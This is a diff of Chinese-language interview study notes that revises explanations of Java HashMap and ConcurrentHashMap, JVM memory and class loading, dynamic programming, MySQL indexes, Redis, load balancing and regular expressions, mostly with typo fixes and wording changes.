当进行查找时,需要分成两步进行,第一步是先根据 hashcode 计算出所在的桶,第二步是在链表上顺序查找。由于 table 是数组形式的,具有随机读取的特性,因此第一步的时间复杂度为 O(1),而第二步需要在链表上顺序查找,时间复杂度显然和链表的长度成正比。
|
查找需要分成两步进行:
|
||||||
|
|
||||||
|
- 计算键值对所在的桶;
|
||||||
|
- 在链表上顺序查找,时间复杂度显然和链表的长度成正比。
|
||||||
|
|
||||||
### 3. 链表转红黑树
|
### 3. 链表转红黑树
|
||||||
|
|
||||||
应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
|
应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//061c29ce-e2ed-425a-911e-56fbba1efce3.jpg" width="500"/> </div><br>
|
|
||||||
|
|
||||||
### 4. 扩容
|
### 4. 扩容
|
||||||
|
|
||||||
因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。
|
因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。
|
||||||
|
|
||||||
设 HashMap 的 table 长度为 M,需要存储的键值对数量为 N,如果哈希函数满足均匀性的要求,那么每条链表的长度大约为 N/M,因此平均查找次数的数量级为 O(N/M)。
|
设 HashMap 的 table 长度为 M,需要存储的键值对数量为 N,如果哈希函数满足均匀性的要求,那么每条链表的长度大约为 N/M,因此平均查找次数的数量级为 O(N/M)。
|
||||||
|
|
||||||
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,可就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
|
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
|
||||||
|
|
||||||
和扩容相关的参数主要有:capacity、size、threshold 和 load_factor。
|
和扩容相关的参数主要有:capacity、size、threshold 和 load_factor。
|
||||||
|
|
||||||
|
@ -445,11 +444,11 @@ void transfer(Entry[] newTable) {
|
||||||
|
|
||||||
### 5. 确定桶下标
|
### 5. 确定桶下标
|
||||||
|
|
||||||
需要三步操作:计算 Key 的 hashCode、高位运算、除留余数法取模。
|
很多操作都需要先确定一个键值对所在的桶下标,需要分三步进行。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//hashMap_u54C8_u5E0C_u7B97_u6CD5_u4F8B_u56FE.png" width="800"/> </div><br>
|
(一)hashCode()
|
||||||
|
|
||||||
**(一)hashcode()**
|
调用 Key 的 hashCode() 方法得到 hashCode。
|
||||||
|
|
||||||
```java
|
```java
|
||||||
public final int hashCode() {
|
public final int hashCode() {
|
||||||
|
@ -457,9 +456,9 @@ public final int hashCode() {
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
**(二)高位运算**
|
(二)高位运算
|
||||||
|
|
||||||
通过 hashCode() 的高 16 位异或低 16 位,使得数组比较小时,也能保证高低位都参与到了哈希计算中。
|
将 hashCode 的高 16 位和低 16 位进行异或操作,使得在数组比较小时,也能保证高低位都参与到了哈希计算中。
|
||||||
|
|
||||||
```java
|
```java
|
||||||
static final int hash(Object key) {
|
static final int hash(Object key) {
|
||||||
|
@ -468,7 +467,7 @@ static final int hash(Object key) {
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
**(三)除留余数**
|
(三)除留余数法
|
||||||
|
|
||||||
令 x = 1<<4,即 x 为 2 的 4 次方,它具有以下性质:
|
令 x = 1<<4,即 x 为 2 的 4 次方,它具有以下性质:
|
||||||
|
|
||||||
|
@ -520,11 +519,11 @@ new capacity : 00100000
|
||||||
|
|
||||||
### 7. 扩容-计算数组容量
|
### 7. 扩容-计算数组容量
|
||||||
|
|
||||||
先考虑如何求一个数的补码,对于 10100000,它的补码为 11111111,可以使用以下方法得到:
|
先考虑如何求一个数的补码,对于 10010000,它的掩码为 11111111,可以使用以下方法得到:
|
||||||
|
|
||||||
```
|
```
|
||||||
mask |= mask >> 1 11000000
|
mask |= mask >> 1 11011000
|
||||||
mask |= mask >> 2 11110000
|
mask |= mask >> 2 11111100
|
||||||
mask |= mask >> 4 11111111
|
mask |= mask >> 4 11111111
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -738,13 +737,8 @@ ConcurrentHashMap 的高并发性主要来自于三个方面:
|
||||||
|
|
||||||
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java)
|
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java)
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//7779232-1e8ed39548081a1f.png"/> </div><br>
|
|
||||||
|
|
||||||
|
|
||||||
JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment,它继承自重入锁 ReentrantLock。
|
JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment,它继承自重入锁 ReentrantLock。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//7779232-96822582feb08651.png"/> </div><br>
|
|
||||||
|
|
||||||
JDK 1.8 的实现不是用了 Segment,Segment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized,主要是出于以下考虑:
|
JDK 1.8 的实现不是用了 Segment,Segment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized,主要是出于以下考虑:
|
||||||
|
|
||||||
1. synchronized 的锁粒度更低;
|
1. synchronized 的锁粒度更低;
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
<!-- GFM-TOC -->
|
<!-- GFM-TOC -->
|
||||||
* [一、运行时数据区域](#一运行时数据区域)
|
* [一、运行时数据区域](#一运行时数据区域)
|
||||||
* [程序计数器](#程序计数器)
|
* [程序计数器](#程序计数器)
|
||||||
* [Java 虚拟机栈](#java-虚拟机栈)
|
* [虚拟机栈](#虚拟机栈)
|
||||||
* [本地方法栈](#本地方法栈)
|
* [本地方法栈](#本地方法栈)
|
||||||
* [Java 堆](#java-堆)
|
* [堆](#堆)
|
||||||
* [方法区](#方法区)
|
* [方法区](#方法区)
|
||||||
* [运行时常量池](#运行时常量池)
|
* [运行时常量池](#运行时常量池)
|
||||||
* [直接内存](#直接内存)
|
* [直接内存](#直接内存)
|
||||||
|
@ -27,17 +27,17 @@
|
||||||
|
|
||||||
# 一、运行时数据区域
|
# 一、运行时数据区域
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//JVM-runtime-data-area.jpg" width=""/> </div><br>
|
<div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br>
|
||||||
|
|
||||||
## 程序计数器
|
## 程序计数器
|
||||||
|
|
||||||
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
|
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
|
||||||
|
|
||||||
## Java 虚拟机栈
|
## 虚拟机栈
|
||||||
|
|
||||||
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//JVM-Stack.png" width=""/> </div><br>
|
<div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br>
|
||||||
|
|
||||||
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
|
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
|
||||||
|
|
||||||
|
@ -56,13 +56,13 @@ java -Xss=512M HackTheJava
|
||||||
|
|
||||||
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
|
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//JNIFigure1.gif" width="400"/> </div><br>
|
<div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br>
|
||||||
|
|
||||||
## Java 堆
|
## 堆
|
||||||
|
|
||||||
所有对象实例都在这里分配内存。
|
所有对象实例都在这里分配内存。
|
||||||
|
|
||||||
是垃圾收集的主要区域("GC 堆 "),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
|
是垃圾收集的主要区域("GC 堆"),现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块:
|
||||||
|
|
||||||
- 新生代(Young Generation)
|
- 新生代(Young Generation)
|
||||||
- 老年代(Old Generation)
|
- 老年代(Old Generation)
|
||||||
|
@ -102,7 +102,7 @@ Class 文件中的常量池(编译器生成的各种字面量和符号引用
|
||||||
|
|
||||||
## 直接内存
|
## 直接内存
|
||||||
|
|
||||||
在 JDK 1.4 中新加入了 NIO 类,引入了一种基于通道(Channel)与缓冲区(Buffer)的 I/O 方式,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
||||||
|
|
||||||
# 二、垃圾收集
|
# 二、垃圾收集
|
||||||
|
|
||||||
|
@ -221,11 +221,9 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
|
||||||
|
|
||||||
不足:
|
不足:
|
||||||
|
|
||||||
1. 标记和清除过程效率都不高
|
1. 标记和清除过程效率都不高;
|
||||||
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。
|
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存。
|
||||||
|
|
||||||
之后的算法都是基于该算法进行改进。
|
|
||||||
|
|
||||||
### 2. 复制
|
### 2. 复制
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
|
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
|
||||||
|
@ -394,7 +392,7 @@ JVM 为对象定义年龄计数器,经过 Minor GC 依然存活,并且能被
|
||||||
|
|
||||||
### 4. 动态对象年龄判定
|
### 4. 动态对象年龄判定
|
||||||
|
|
||||||
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无序等待 MaxTenuringThreshold 中要求的年龄。
|
JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 区中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等待 MaxTenuringThreshold 中要求的年龄。
|
||||||
|
|
||||||
### 5. 空间分配担保
|
### 5. 空间分配担保
|
||||||
|
|
||||||
|
@ -418,7 +416,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
|
||||||
|
|
||||||
### 4. JDK 1.7 及以前的永久代空间不足
|
### 4. JDK 1.7 及以前的永久代空间不足
|
||||||
|
|
||||||
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError,为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
|
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么 JVM 会抛出 java.lang.OutOfMemoryError,为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
|
||||||
|
|
||||||
### 5. Concurrent Mode Failure
|
### 5. Concurrent Mode Failure
|
||||||
|
|
||||||
|
@ -448,7 +446,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
|
||||||
|
|
||||||
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
|
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
|
||||||
|
|
||||||
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译器把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
1. 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
|
||||||
|
|
||||||
2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
|
2. 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
|
||||||
|
|
||||||
|
@ -507,19 +505,19 @@ System.out.println(ConstClass.HELLOWORLD);
|
||||||
|
|
||||||
主要有以下 4 个阶段:
|
主要有以下 4 个阶段:
|
||||||
|
|
||||||
**(一)文件格式验证**
|
(一)文件格式验证
|
||||||
|
|
||||||
验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
|
验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
|
||||||
|
|
||||||
**(二)元数据验证**
|
(二)元数据验证
|
||||||
|
|
||||||
对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
|
对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
|
||||||
|
|
||||||
**(三)字节码验证**
|
(三)字节码验证
|
||||||
|
|
||||||
通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
|
通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
|
||||||
|
|
||||||
**(四)符号引用验证**
|
(四)符号引用验证
|
||||||
|
|
||||||
发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
|
发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
|
||||||
|
|
||||||
|
@ -610,11 +608,11 @@ public static void main(String[] args) {
|
||||||
|
|
||||||
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
|
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
|
||||||
|
|
||||||
- 启动类加载器(Bootstrap ClassLoader) 此类加载器负责将存放在 <JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
|
- 启动类加载器(Bootstrap ClassLoader)此类加载器负责将存放在 <JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。 启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
|
||||||
|
|
||||||
- 扩展类加载器(Extension ClassLoader) 这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
- 扩展类加载器(Extension ClassLoader)这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
|
||||||
|
|
||||||
- 应用程序类加载器(Application ClassLoader) 这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
- 应用程序类加载器(Application ClassLoader)这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
|
||||||
|
|
||||||
### 3. 双亲委派模型
|
### 3. 双亲委派模型
|
||||||
|
|
||||||
|
@ -634,7 +632,7 @@ public static void main(String[] args) {
|
||||||
|
|
||||||
```java
|
```java
|
||||||
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{
|
protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException{
|
||||||
//check the class has been loaded or not
|
// 先检查请求的类是否已经被加载过了
|
||||||
Class c = findLoadedClass(name);
|
Class c = findLoadedClass(name);
|
||||||
if(c == null) {
|
if(c == null) {
|
||||||
try{
|
try{
|
||||||
|
@ -644,9 +642,10 @@ protected synchronized Class<?> loadClass(String name, boolean resolve) throws C
|
||||||
c = findBootstrapClassOrNull(name);
|
c = findBootstrapClassOrNull(name);
|
||||||
}
|
}
|
||||||
} catch(ClassNotFoundException e) {
|
} catch(ClassNotFoundException e) {
|
||||||
//if throws the exception , the father can not complete the load
|
// 如果父类加载器抛出 ClassNotFoundException,说明父类加载器无法完成加载请求
|
||||||
}
|
}
|
||||||
if(c == null) {
|
if(c == null) {
|
||||||
|
// 如果父类加载器无法完成加载请求,再调用自身的 findClass() 来进行加载
|
||||||
c = findClass(name);
|
c = findClass(name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
* [动态规划](#动态规划)
|
* [动态规划](#动态规划)
|
||||||
* [斐波那契数列](#斐波那契数列)
|
* [斐波那契数列](#斐波那契数列)
|
||||||
* [最长递增子序列](#最长递增子序列)
|
* [最长递增子序列](#最长递增子序列)
|
||||||
* [最长公共子系列](#最长公共子系列)
|
* [最长公共子序列](#最长公共子序列)
|
||||||
* [0-1 背包](#0-1-背包)
|
* [0-1 背包](#0-1-背包)
|
||||||
* [数组区间](#数组区间)
|
* [数组区间](#数组区间)
|
||||||
* [字符串编辑](#字符串编辑)
|
* [字符串编辑](#字符串编辑)
|
||||||
|
@ -1960,7 +1960,7 @@ public int wiggleMaxLength(int[] nums) {
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### 最长公共子系列
|
### 最长公共子序列
|
||||||
|
|
||||||
对于两个子序列 S1 和 S2,找出它们最长的公共子序列。
|
对于两个子序列 S1 和 S2,找出它们最长的公共子序列。
|
||||||
|
|
||||||
|
@ -1970,7 +1970,7 @@ public int wiggleMaxLength(int[] nums) {
|
||||||
|
|
||||||
② 当 S1<sub>i</sub> != S2<sub>j</sub> 时,此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列,与 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列,它们的最大者,即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
|
② 当 S1<sub>i</sub> != S2<sub>j</sub> 时,此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列,与 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列,它们的最大者,即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
|
||||||
|
|
||||||
综上,最长公共子系列的状态转移方程为:
|
综上,最长公共子序列的状态转移方程为:
|
||||||
|
|
||||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right."/></div> <br>
|
<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right."/></div> <br>
|
||||||
|
|
||||||
|
|
|
@ -216,14 +216,14 @@ customer_id_selectivity: 0.0373
|
||||||
|
|
||||||
聚簇索引并不是一种索引类型,而是一种数据存储方式。
|
聚簇索引并不是一种索引类型,而是一种数据存储方式。
|
||||||
|
|
||||||
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起,InnoDB 的聚簇索引的数据行存放在 B-Tree 的叶子页中。
|
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起,InnoDB 的聚簇索引的数据行存放在 B+Tree 的叶子页中。
|
||||||
|
|
||||||
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
|
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
|
||||||
|
|
||||||
**优点**
|
**优点**
|
||||||
|
|
||||||
1. 可以把相关数据保存在一起,减少 I/O 操作;
|
1. 可以把相关数据保存在一起,减少 I/O 操作;
|
||||||
2. 因为数据保存在 B-Tree 中,因此数据访问更快。
|
2. 因为数据保存在 B+Tree 中,因此数据访问更快。
|
||||||
|
|
||||||
**缺点**
|
**缺点**
|
||||||
|
|
||||||
|
|
|
@ -212,7 +212,14 @@ Redis 可以为每个键设置过期时间,当键过期时,会自动删除
|
||||||
|
|
||||||
# 四、发布与订阅
|
# 四、发布与订阅
|
||||||
|
|
||||||
发布与订阅实际上是观察者模式,订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
|
订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
|
||||||
|
|
||||||
|
发布与订阅模式和观察者模式有以下不同:
|
||||||
|
|
||||||
|
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
|
||||||
|
- 观察者模式是同步的,当事件触发时,主题会去调度观察者的方法;而发布与订阅模式是异步的;
|
||||||
|
|
||||||
|
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
|
||||||
|
|
||||||
发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下:
|
发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下:
|
||||||
|
|
||||||
|
@ -241,7 +248,7 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
|
||||||
|
|
||||||
## 2. AOF 持久化
|
## 2. AOF 持久化
|
||||||
|
|
||||||
AOF 持久化将写命令添加到 AOF 文件(Append Only File)的末尾。
|
将写命令添加到 AOF 文件(Append Only File)的末尾。
|
||||||
|
|
||||||
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
|
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
|
||||||
|
|
||||||
|
@ -365,7 +372,7 @@ def main():
|
||||||
|
|
||||||
从事件处理的角度来看,服务器运行流程如下:
|
从事件处理的角度来看,服务器运行流程如下:
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png"/> </div><br>
|
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png" width=""/> </div><br>
|
||||||
|
|
||||||
# 十一、Redis 与 Memcached 的区别
|
# 十一、Redis 与 Memcached 的区别
|
||||||
|
|
||||||
|
@ -424,7 +431,7 @@ Redis 这种内存数据库能支持计数器频繁的读写操作。
|
||||||
|
|
||||||
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
|
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
|
||||||
|
|
||||||
作为内存数据库,出于对性能和内存消耗的考虑,Redis的淘汰算法(LRU、TTL)实际实现上并非针对所有key,而是抽样一小部分key从中选出被淘汰key。抽样数量可通过`maxmemory-samples`配置。
|
作为内存数据库,出于对性能和内存消耗的考虑,Redis 的淘汰算法(LRU、TTL)实际实现上并非针对所有 key,而是抽样一小部分 key 从中选出被淘汰 key。抽样数量可通过 maxmemory-samples 配置。
|
||||||
|
|
||||||
# 十四、一个简单的论坛系统分析
|
# 十四、一个简单的论坛系统分析
|
||||||
|
|
||||||
|
@ -464,3 +471,4 @@ Redis 没有关系型数据库中的表这一概念来将同类型的数据存
|
||||||
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
|
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
|
||||||
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
|
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
|
||||||
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
|
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
|
||||||
|
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
|
||||||
|
|
|
@ -127,6 +127,7 @@
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
|
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
|
||||||
|
|
||||||
|
|
||||||
### 6.源地址哈希法(ip hash)
|
### 6.源地址哈希法(ip hash)
|
||||||
源地址哈希通过对客户端IP哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
|
源地址哈希通过对客户端IP哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
|
||||||
- 优点:保证同一IP的客户端都会被hash到同一台服务器上。
|
- 优点:保证同一IP的客户端都会被hash到同一台服务器上。
|
||||||
|
@ -134,6 +135,7 @@
|
||||||
|
|
||||||
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
|
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
|
||||||
|
|
||||||
|
|
||||||
## 实现
|
## 实现
|
||||||
|
|
||||||
### 1. HTTP 重定向
|
### 1. HTTP 重定向
|
||||||
|
|
|
@ -19,7 +19,7 @@
|
||||||
|
|
||||||
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
|
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
|
||||||
|
|
||||||
[正则表达式在线工具](http://tool.chinaz.com/regex)
|
[正则表达式在线工具](http://tool.oschina.net/regex/)
|
||||||
|
|
||||||
# 二、匹配单个字符
|
# 二、匹配单个字符
|
||||||
|
|
||||||
|
@ -118,7 +118,7 @@ abc[^0-9]
|
||||||
**正则表达式**
|
**正则表达式**
|
||||||
|
|
||||||
```
|
```
|
||||||
[\w.]+@\w+.\w+
|
[\w.]+@\w+\.\w+
|
||||||
```
|
```
|
||||||
|
|
||||||
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
|
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
|
||||||
|
@ -130,8 +130,8 @@ abc[^0-9]
|
||||||
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
|
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
|
||||||
|
|
||||||
```
|
```
|
||||||
[\w.]+@\w+.\w+
|
[\w.]+@\w+\.\w+
|
||||||
[\w.]+@[\w]+.[\w]+
|
[\w.]+@[\w]+\.[\w]+
|
||||||
```
|
```
|
||||||
|
|
||||||
